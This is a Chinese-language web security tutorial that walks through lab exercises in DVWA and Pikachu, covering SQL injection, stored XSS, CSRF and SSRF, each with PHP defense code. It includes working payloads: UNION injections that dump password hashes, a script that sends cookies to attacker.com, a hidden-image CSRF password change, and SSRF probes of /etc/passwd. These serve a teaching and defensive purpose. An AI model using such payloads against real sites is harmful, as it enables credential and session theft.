别再死记硬背了!用这5个真实靶场案例,彻底搞懂SQL注入、XSS、CSRF的实战防御 5个真实靶场案例从SQL注入到CSRF的实战攻防演练在网络安全领域理论知识固然重要但真正能让你快速成长的永远是实战经验。本文将带你通过DVWA、Pikachu等常见靶场中的5个典型案例深入理解SQL注入、XSS、CSRF等常见漏洞的攻击原理与防御方法。每个案例都包含完整的攻击流程演示和代码级防御方案让你在动手实践中掌握Web安全的核心技能。1. DVWA靶场中的SQL注入攻击与防御SQL注入是Web安全领域最经典的漏洞之一我们以DVWADamn Vulnerable Web Application靶场的SQL Injection模块为例演示完整的攻击与防御过程。1.1 攻击演示从基础注入到获取管理员权限首先将DVWA安全级别设置为Low进入SQL Injection页面。尝试在用户ID输入框中输入1 or 11这会返回所有用户信息因为构造的SQL语句变成了SELECT first_name, last_name FROM users WHERE user_id 1 or 11更危险的攻击是获取数据库信息。输入1 union select 1,concat(user,:,password) from mysql.user#这将显示MySQL用户及其密码哈希。在DVWA中我们还可以直接获取管理员密码1 union select 1,concat(user_id,:,first_name,:,last_name,:,password) from users#1.2 防御方案PHP中的参数化查询防御SQL注入最有效的方法是使用参数化查询预编译语句。以下是PHP中使用PDO的示例?php $pdo new PDO(mysql:hostlocalhost;dbnamedvwa, root, ); $stmt $pdo-prepare(SELECT first_name, last_name FROM users WHERE user_id :id); $stmt-execute([id $_GET[id]]); $results $stmt-fetchAll(PDO::FETCH_ASSOC); ?关键防御措施永远不要拼接SQL语句对数字型参数进行类型转换最小化数据库账户权限关闭错误回显提示即使是参数化查询也需要注意存储过程的动态SQL可能存在的注入风险。2. Pikachu靶场中的存储型XSS攻击与防御跨站脚本攻击(XSS)允许攻击者在受害者浏览器中执行恶意JavaScript代码。我们以Pikachu靶场的存储型XSS为例。2.1 攻击演示窃取用户Cookie在留言板中输入以下内容script var img new Image(); img.src http://attacker.com/steal.php?cookiedocument.cookie; /script当其他用户访问留言板时他们的Cookie会被自动发送到攻击者的服务器。获取Cookie后攻击者可以直接冒充用户身份登录。2.2 防御方案输入过滤与输出编码完整的XSS防御需要多层面措施输入过滤白名单原则$clean preg_replace(/[^a-zA-Z0-9\s]/, , $input);输出编码htmlspecialchars($output, ENT_QUOTES, UTF-8);设置HttpOnly Cookiesetcookie(sessionid, value, 0, /, , true, true); // 最后一个参数true表示HttpOnly内容安全策略(CSP)meta http-equivContent-Security-Policy contentdefault-src self; script-src self3. DVWA中的CSRF攻击与防御跨站请求伪造(CSRF)诱使用户在不知情的情况下提交恶意请求。我们以DVWA的CSRF模块为例。3.1 攻击演示诱骗用户修改密码构造一个恶意页面csrf.htmlimg srchttp://dvwa/vulnerabilities/csrf/?password_newhackedpassword_confhackedChangeChange# width0 height0当已登录DVWA的用户访问此页面时密码会被悄无声息地修改为hacked。3.2 防御方案CSRF Token实现最有效的CSRF防御是使用一次性Token服务端生成Token并存入Session$_SESSION[csrf_token] bin2hex(random_bytes(32));表单中包含Tokeninput typehidden namecsrf_token value?php echo $_SESSION[csrf_token]; ?验证Tokenif (!hash_equals($_SESSION[csrf_token], $_POST[csrf_token])) { die(CSRF token validation failed); }其他防御措施检查Origin/Referer头部关键操作要求二次认证SameSite Cookie属性4. Pikachu中的SSRF攻击与防御服务器端请求伪造(SSRF)允许攻击者通过服务器发起任意请求。我们以Pikachu的SSRF模块为例。4.1 攻击演示访问内网资源在URL输入框中尝试访问本地文件file:///etc/passwd或者探测内网服务http://127.0.0.1:33064.2 防御方案请求过滤与网络隔离SSRF防御策略输入验证$url parse_url($_GET[url]); if (!in_array($url[host], [example.com, cdn.example.com])) { die(Invalid host); }禁用危险协议if (in_array($url[scheme], [file, gopher, ftp])) { die(Protocol not allowed); }网络层防护应用服务器部署在独立网络区域限制出站连接使用跳板机访问内部资源5. 综合案例从XSS到CSRF的链式攻击真实攻击往往组合多种漏洞。我们模拟一个场景攻击者发现网站存在存储型XSS漏洞注入恶意脚本窃取用户CSRF Token使用窃取的Token构造CSRF请求诱骗管理员访问恶意页面完成攻击防御这种链式攻击需要实施深度防御策略关键操作要求二次认证定期安全审计建立漏洞响应机制靶场练习进阶建议尝试不同安全级别在DVWA中从Low到High逐步提升难度组合漏洞利用尝试XSSCSRF、SQL注入文件包含等组合攻击编写自动化脚本使用Python实现自动化漏洞检测代码审计练习下载靶场源码分析漏洞产生原因自定义防御方案修改靶场代码实现更安全的版本Web安全是攻防对抗的过程只有真正理解攻击者的思维方式才能构建更强大的防御体系。建议每周在靶场中进行至少2小时的实战练习持续提升安全技能。